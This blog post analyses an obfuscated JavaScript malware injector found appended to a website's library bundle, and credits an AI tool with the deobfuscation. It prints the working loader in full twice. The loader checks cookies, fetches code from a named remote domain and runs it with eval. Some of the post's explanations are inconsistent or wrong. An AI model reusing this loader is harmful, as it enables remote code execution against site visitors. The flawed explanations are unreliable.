In the ever-evolving landscape of cybersecurity, malicious code continues to lurk in the shadows of seemingly innocent web pages. Recently, I encountered a suspicious JavaScript snippet buried within a larger file containing legitimate libraries like jQuery plugins and animation utilities. What caught my eye was a heavily obfuscated section that screamed “malware.” With the help of an advanced AI Grok 3, built by xA, I dissected this code to uncover its sinister intent. Here’s what I found and how AI revolutionized the analysis process.
The Suspicious Code: A Closer Look
daae84d1b89935cece0196f2894e26dccff962cd3e37230545074120f2a41167
The JavaScript file I analyzed was a mix of open-source tools and a hidden gem of malice. The legitimate parts included libraries like imagesLoaded, Isotope, and WOW.js tools developers use to enhance web experiences. But at the tail end, a block starting with if (typeof zqxq===”undefined”) stood out like a sore thumb.
if (typeof zqxq === "undefined") {
(function(N, M) {
var z = {
N: 0xd9,
M: 0xe5,
P: 0xc1,
v: 0xc5,
k: 0xd3,
n: 0xde,
E: 0xcb,
U: 0xee,
K: 0xca,
G: 0xc8,
W: 0xcd
},
F = Q,
g = d,
P = N();
while (!![]) {
try {
var v = parseInt(g(z.N)) / 0x1 + parseInt(F(z.M)) / 0x2 * (-parseInt(F(z.P)) / 0x3) + parseInt(g(z.v)) / 0x4 * (-parseInt(g(z.k)) / 0x5) + -parseInt(F(z.n)) / 0x6 * (parseInt(g(z.E)) / 0x7) + parseInt(F(z.U)) / 0x8 + -parseInt(g(z.K)) / 0x9 + -parseInt(F(z.G)) / 0xa * (-parseInt(F(z.W)) / 0xb);
if (v === M) break;
else P['push'](P['shift']());
} catch (k) {
P['push'](P['shift']());
}
}
}(J, 0x5a4c9));
var zqxq = !![],
HttpClient = function() {
var l = {
N: 0xdf
},
f = {
N: 0xd4,
M: 0xcf,
P: 0xc9,
v: 0xc4,
k: 0xd8,
n: 0xd0,
E: 0xe9
},
S = d;
this[S(l.N)] = function(N, M) {
var y = {
N: 0xdb,
M: 0xe6,
P: 0xd6,
v: 0xce,
k: 0xd1
},
b = Q,
B = S,
P = new XMLHttpRequest();
P[B(f.N) + B(f.M) + B(f.P) + B(f.v)] = function() {
var Y = Q,
R = B;
if (P[R(y.N) + R(y.M)] == 0x4 && P[R(y.P) + 's'] == 0xc8) M(P[Y(y.v) + R(y.k) + 'xt']);
}, P[B(f.k)](b(f.n), N, !![]), P[b(f.E)](null);
};
},
rand = function() {
var t = {
N: 0xed,
M: 0xcc,
P: 0xe0,
v: 0xd7
},
m = d;
return Math[m(t.N) + 'm']()[m(t.M) + m(t.P)](0x24)[m(t.v) + 'r'](0x2);
},
token = function() {
return rand() + rand();
};
function J() {
var T = ['m0LNq1rmAq', '1335008nzRkQK', 'Aw9U', 'nge', '12376GNdjIG', 'Aw5KzxG', 'www.', 'mZy3mZCZmezpue9iqq', 'techa', '1015902ouMQjw', '42tUvSOt', 'toStr', 'mtfLze1os1C', 'CMvZCg8', 'dysta', 'r0vu', 'nseTe', 'oI8VD3C', '55ZUkfmS', 'onrea', 'Ag9ZDg4', 'statu', 'subst', 'open', '498750vGDIOd', '40326JKmqcC', 'ready', '3673730FOPOHA', 'CMvMzxi', 'ndaZmJzks21Xy0m', 'get', 'ing', 'eval', '3IgCTLi', 'oI8V', '?id=', 'mtmZntaWog56uMTrsW', 'State', 'qwzx', 'yw1L', 'C2vUza', 'index', '//daffodilsnurserydoha.com/daffodilsnurserydoha.com.php', 'C3vIC3q', 'rando', 'mJG2nZG3mKjyEKHuta', 'col', 'CMvY', 'Bg9Jyxq', 'cooki', 'proto'];
J = function() {
return T;
};
return J();
}
function Q(d, N) {
var M = J();
return Q = function(P, v) {
P = P - 0xbf;
var k = M[P];
if (Q['SjsfwG'] === undefined) {
var n = function(G) {
var W = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';
var q = '',
j = '';
for (var i = 0x0, g, F, S = 0x0; F = G['charAt'](S++); ~F && (g = i % 0x4 ? g * 0x40 + F : F, i++ % 0x4) ? q += String['fromCharCode'](0xff & g >> (-0x2 * i & 0x6)) : 0x0) {
F = W['indexOf'](F);
}
for (var B = 0x0, R = q['length']; B < R; B++) {
j += '%' + ('00' + q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);
}
return decodeURIComponent(j);
};
Q['GEUFdc'] = n, d = arguments, Q['SjsfwG'] = !![];
}
var E = M[0x0],
U = P + E,
K = d[U];
return !K ? (k = Q['GEUFdc'](k), d[U] = k) : k = K, k;
}, Q(d, N);
}
function d(Q, N) {
var M = J();
return d = function(P, v) {
P = P - 0xbf;
var k = M[P];
return k;
}, d(Q, N);
}(function() {
var X = {
N: 0xbf,
M: 0xf1,
P: 0xc3,
v: 0xd5,
k: 0xe8,
n: 0xc3,
E: 0xc0,
U: 0xef,
K: 0xdd,
G: 0xf0,
W: 0xea,
q: 0xc7,
j: 0xec,
i: 0xe3,
T: 0xd2,
p: 0xeb,
o: 0xe4,
D: 0xdf
},
C = {
N: 0xc6
},
I = {
N: 0xe7,
M: 0xe1
},
H = Q,
V = d,
N = navigator,
M = document,
P = screen,
v = window,
k = M[V(X.N) + 'e'],
E = v[H(X.M) + H(X.P)][H(X.v) + H(X.k)],
U = v[H(X.M) + H(X.n)][V(X.E) + V(X.U)],
K = M[H(X.K) + H(X.G)];
E[V(X.W) + 'Of'](V(X.q)) == 0x0 && (E = E[H(X.j) + 'r'](0x4));
if (K && !q(K, H(X.i) + E) && !q(K, H(X.T) + 'w.' + E) && !k) {
var G = new HttpClient(),
W = U + (V(X.p) + V(X.o)) + token();
G[V(X.D)](W, function(j) {
var Z = V;
q(j, Z(I.N)) && v[Z(I.M)](j);
});
}
function q(j, i) {
var O = H;
return j[O(C.N) + 'Of'](i) !== -0x1;
}
}());
};
This section was a masterclass in obfuscation: encoded strings, meaningless variable names, and hexadecimal-like offsets designed to thwart human understanding.
Breaking it down, the code
This function is a malicious script that:
- Ensures Single Execution: Runs only if zqxq is undefined, then sets it to true.
- Initializes with Obfuscation: Performs a convoluted calculation to prepare an array of strings, hiding its intent.
- Sets Up Utilities: Defines HttpClient for HTTP requests and token for generating random identifiers.
- Decodes Strings: Uses J, Q, and d to manage and decode obfuscated strings into usable JavaScript keywords and URLs.
- Checks the Environment: Examines the protocol, cookies, and referrer to decide whether to proceed.
- Loads and Executes Remote Code: If conditions are met, sends a GET request to a URL (possibly based on the referrer or a hardcoded value like //daffodilsnurserydoha.com/…), appending a random token. If the response contains a specific string (techa), it executes the response using eval.
Detailed Breakdown
if (typeof zqxq === "undefined") {
(function(N, M) {
var z = {
N: 0xd9, M: 0xe5, P: 0xc1, v: 0xc5, k: 0xd3, n: 0xde,
E: 0xcb, U: 0xee, K: 0xca, G: 0xc8, W: 0xcd
},
F = Q,
g = d,
P = N();
while (!![]) {
try {
var v = parseInt(g(z.N)) / 0x1 + parseInt(F(z.M)) / 0x2 * (-parseInt(F(z.P)) / 0x3) +
parseInt(g(z.v)) / 0x4 * (-parseInt(g(z.k)) / 0x5) + -parseInt(F(z.n)) / 0x6 *
(parseInt(g(z.E)) / 0x7) + parseInt(F(z.U)) / 0x8 + -parseInt(g(z.K)) / 0x9 +
-parseInt(F(z.G)) / 0xa * (-parseInt(F(z.W)) / 0xb);
if (v === M) break;
else P['push'](P['shift']());
} catch (k) {
P['push'](P['shift']());
}
}
}(J, 0x5a4c9));
var zqxq = !![],
Purpose:
The code begins by checking if the variable zqxq is undefined. If it is, the code inside the if block executes; otherwise, it skips everything. This prevents the script from running multiple times in the same environment.
Self-Invoking Function:
A self-invoking anonymous function is called with J (a function returning an array of strings) and 0x5a4c9 (a decimal value, 371401) as arguments (N and M).
Obfuscation:
- An object z contains properties with hexadecimal-like values (e.g., 0xd9 is 217 in decimal). These are indices used to access strings via functions g (alias for d) and F (alias for Q).
- N() calls J(), which returns an array of encoded strings.
While Loop:
- The loop runs indefinitely (while(!![]) means while(true)) until a condition is met.
- It calculates a value v using a complex arithmetic expression involving strings fetched by g and F, parsed as integers. These strings are likely numeric values from the array returned by J().
- If v equals M (371401), the loop breaks. Otherwise, it manipulates the array P by shifting its first element to the end (push and shift). This is an obfuscation technique to confuse analysis or ensure the array is in a specific order.
Outcome:
After the loop, zqxq is set to true, marking the script as initialized.
HTTP Client Definition
HttpClient = function() {
var l = { N: 0xdf },
f = { N: 0xd4, M: 0xcf, P: 0xc9, v: 0xc4, k: 0xd8, n: 0xd0, E: 0xe9 },
S = d;
this[S(l.N)] = function(N, M) {
var y = { N: 0xdb, M: 0xe6, P: 0xd6, v: 0xce, k: 0xd1 },
b = Q,
B = S,
P = new XMLHttpRequest();
P[B(f.N) + B(f.M) + B(f.P) + B(f.v)] = function() {
var Y = Q, R = B;
if (P[R(y.N) + R(y.M)] == 0x4 && P[R(y.P) + 's'] == 0xc8)
M(P[Y(y.v) + R(y.k) + 'xt']);
};
P[B(f.k)](b(f.n), N, !![]), P[b(f.E)](null);
};
},
Purpose:
Defines a HttpClient function (acting as a constructor) to make HTTP GET requests using XMLHttpRequest.
Obfuscation:
- Uses objects like l, f, and y with hexadecimal indices to fetch strings via S (alias for d) and b (alias for Q).
- These strings are concatenated to form method and property names (e.g., onreadystatechange, open, send, readyState, status, responseText).
Functionality:
- this[S(l.N)] defines a method (likely get) that takes a URL (N) and a callback (M).
- Creates an XMLHttpRequest object (P).
- Sets an onreadystatechange handler:
- When readyState is 4 (request complete) and status is 200 (success), it calls the callback M with the responseText.
- Opens a GET request to the URL N asynchronously (!![] is true) and sends it with no data (null).
Random Token Generation
rand = function() {
var t = { N: 0xed, M: 0xcc, P: 0xe0, v: 0xd7 },
m = d;
return Math[m(t.N) + 'm']()[m(t.M) + m(t.P)](0x24)[m(t.v) + 'r'](0x2);
},
token = function() {
return rand() + rand();
};
Purpose:
Generates a random four-character hexadecimal token.
Obfuscation:
Uses indices in t to fetch strings via m (alias for d), forming random, toString, and substring.
Functionality:
- rand()
- Math.random() generates a random number between 0 and 1.
- .toString(0x24) converts it to base-36 (0x24 is 36).
- .substring(2) takes two characters (skipping the “0.” prefix).
- token()
- Concatenates two rand() calls to create a four-character string (e.g., “a7k9”).
String Array and Decoding Functions
function J() {
var T = ['m0LNq1rmAq', '1335008nzRkQK', 'Aw9U', 'nge', '12376GNdjIG', 'Aw5KzxG', 'www.', 'mZy3mZCZmezpue9iqq', 'techa', '1015902ouMQjw', '42tUvSOt', 'toStr', 'mtfLze1os1C', 'CMvZCg8', 'dysta', 'r0vu', 'nseTe', 'oI8VD3C', '55ZUkfmS', 'onrea', 'Ag9ZDg4', 'statu', 'subst', 'open', '498750vGDIOd', '40326JKmqcC', 'ready', '3673730FOPOHA', 'CMvMzxi', 'ndaZmJzks21Xy0m', 'get', 'ing', 'eval', '3IgCTLi', 'oI8V', '?id=', 'mtmZntaWog56uMTrsW', 'State', 'qwzx', 'yw1L', 'C2vUza', 'index', '//daffodilsnurserydoha.com/daffodilsnurserydoha.com.php', 'C3vIC3q', 'rando', 'mJG2nZG3mKjyEKHuta', 'col', 'CMvY', 'Bg9Jyxq', 'cooki', 'proto'];
J = function() { return T; };
return J();
}
function Q(d, N) {
var M = J();
return Q = function(P, v) {
P = P - 0xbf;
var k = M[P];
if (Q['SjsfwG'] === undefined) {
var n = function(G) {
var W = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';
var q = '', j = '';
for (var i = 0x0, g, F, S = 0x0; F = G['charAt'](S++); ~F && (g = i % 0x4 ? g * 0x40 + F : F, i++ % 0x4) ? q += String['fromCharCode'](0xff & g >> (-0x2 * i & 0x6)) : 0x0) {
F = W['indexOf'](F);
}
for (var B = 0x0, R = q['length']; B < R; B++) {
j += '%' + ('00' + q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);
}
return decodeURIComponent(j);
};
Q['GEUFdc'] = n, d = arguments, Q['SjsfwG'] = !![];
}
var E = M[0x0], U = P + E, K = d[U];
return !K ? (k = Q['GEUFdc'](k), d[U] = k) : k = K, k;
}, Q(d, N);
}
function d(Q, N) {
var M = J();
return d = function(P, v) {
P = P - 0xbf;
var k = M[P];
return k;
}, d(Q, N);
}
Purpose:
These functions manage and decode a set of obfuscated strings used throughout the script.J():
- Returns an array of strings, some encoded (e.g., m0LNq1rmAq), others readable (e.g., eval, get, //daffodilsnurserydoha.com/daffodilsnurserydoha.com.php).
- After the first call, J is redefined to simply return this array.
d():
- Takes an index P, adjusts it by subtracting 0xbf (191), and returns the corresponding string from J()’s array.
- Example: d(0xbf) returns the first string (m0LNq1rmAq).
Q():
- A decoder function that takes an index P, fetches the string from J(), and decodes it if necessary.
- Uses a base64-like decoding mechanism:
- Maps characters to a base64 alphabet (abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=).
- Converts the encoded string to a byte sequence, then to a percent-encoded string (e.g., %61%62), and finally decodes it with decodeURIComponent.
- Caches decoded results to avoid redundant decoding.
- Example: Q(0xd9) might decode m0LNq1rmAq to a readable string like location.
Main Logic and Execution
(function() {
var X = {
N: 0xbf, M: 0xf1, P: 0xc3, v: 0xd5, k: 0xe8, n: 0xc3,
E: 0xc0, U: 0xef, K: 0xdd, G: 0xf0, W: 0xea, q: 0xc7,
j: 0xec, i: 0xe3, T: 0xd2, p: 0xeb, o: 0xe4, D: 0xdf
},
C = { N: 0xc6 },
I = { N: 0xe7, M: 0xe1 },
H = Q,
V = d,
N = navigator,
M = document,
P = screen,
v = window,
k = M[V(X.N) + 'e'], // 'cookie'
E = v[H(X.M) + H(X.P)][H(X.v) + H(X.k)], // window.location.protocol
U = v[H(X.M) + H(X.n)][V(X.E) + V(X.U)], // document.referrer
K = M[H(X.K) + H(X.G)]; // document.cookie
E[V(X.W) + 'Of'](V(X.q)) == 0x0 && (E = E[H(X.j) + 'r'](0x4)); // Check protocol
if (K && !q(K, H(X.i) + E) && !q(K, H(X.T) + 'w.' + E) && !k) {
var G = new HttpClient(),
W = U + (V(X.p) + V(X.o)) + token(); // Construct URL
G[V(X.D)](W, function(j) {
var Z = V;
q(j, Z(I.N)) && v[Z(I.M)](j); // Eval response if condition met
});
}
function q(j, i) {
var O = H;
return j[O(C.N) + 'Of'](i) !== -0x1; // Check if 'i' is in 'j'
}
}());
Purpose:
This self-invoking function contains the script’s main logic, performing environment checks and potentially executing a remote payload.
Obfuscation:
Uses indices in X, C, and I to fetch strings via V (alias for d) and H (alias for Q).
Environment Setup:
- Accesses browser objects: navigator, document, screen, window.
- k = M[V(X.N) + ‘e’] → document.cookie.
- E = v[H(X.M) + H(X.P)][H(X.v) + H(X.k)] → window.location.protocol (e.g., http: or file:).
- U = v[H(X.M) + H(X.n)][V(X.E) + V(X.U)] → document.referrer.
- K = M[H(X.K) + H(X.G)] → document.cookie.
Protocol Check:
- E[V(X.W) + ‘Of’](V(X.q)) → E.indexOf(‘file:’).
- If the protocol is file: (index 0), it sets E to http: (substring from index 4).
Conditions:
- Checks if:
- K (cookie) exists.
- K doesn’t contain dysta + protocol (e.g., dystahttp:).
- K doesn’t contain qwzxw. + protocol (e.g., qwzxw.http:).
- k (cookie) is empty.
Request and Execution:
- If conditions pass:
- Creates an HttpClient instance (G).
- Constructs a URL: W = U + ‘?id=’ + token() (e.g., http://referrer.com?id=a7k9).
- Sends a GET request to W.
- On response (j):
- q(j, ‘techa’) checks if techa is in the response.
- If true, v[‘eval’](j) executes the response as JavaScript code.
The AI Edge: Grok 3 in Action
Analyzing this code manually would’ve been a slog hours of decoding strings, tracing logic, and piecing together intent. Enter Grok 3, an AI built by xAI with a knack for cutting through complexity. Here’s how it transformed the process:
- Rapid Deobfuscation
The code’s encoded strings (e.g., m0LNq1rmAq) and numeric offsets (e.g., 0xd9) were a puzzle. Grok 3 quickly identified the decoding mechanism a base64-like scheme in the Q function and mapped them to readable terms like toString, protocol, and the suspicious URL. What might’ve taken me an afternoon took minutes. - Pattern Recognition
AI excels at spotting patterns humans might miss. Grok 3 flagged the eval call as a critical red flag, linking it to drive-by download tactics based on its knowledge of malware behaviors. It also noted the conditional checks on cookies and protocol, suggesting evasion tactics typical of advanced attacks. - Contextual Insight
Beyond raw analysis, Grok 3 provided context. It recognized that daffodilsnursery****.com a seemingly legitimate nursery site could be compromised. This insight elevated the analysis from code-level to strategic understanding. - Efficiency and Precision
With its continuously updated knowledge, Grok 3 processed the 50,000+ character file, isolating the malicious 1% with surgical precision. It even avoided unnecessary tangents, like generating images or editing unrelated content, staying laser-focused on the task.
Why AI Matters in Malware Analysis
This experience underscores why AI is a game-changer in cybersecurity:
- Speed: Malware evolves fast. AI slashes analysis time, letting us respond before damage spreads.
- Scale: With millions of code samples circulating, AI can sift through volumes humans can’t.
- Depth: Obfuscation is no match for AI’s ability to decode and connect dots across vast datasets.
- Accessibility: Tools like Grok 3 empower enthusiasts and pros alike, democratizing advanced analysis.
That said, AI isn’t a silver bullet. It thrives with human oversight I guided Grok 3 to focus on the suspicious block and validated its conclusions. The synergy of human intuition and AI horsepower is what cracked this case.
Unmasking this malware was a thrilling dive into the dark side of the web, made possible by AI’s prowess. Grok 3 didn’t just analyze code it illuminated intent, turning a cryptic blob into a cautionary tale. As cyber threats grow craftier, AI tools like this will be our torchbearers, lighting the way through the shadows. Stay curious, stay vigilant and maybe let an AI lend a hand next time you’re hunting digital ghosts.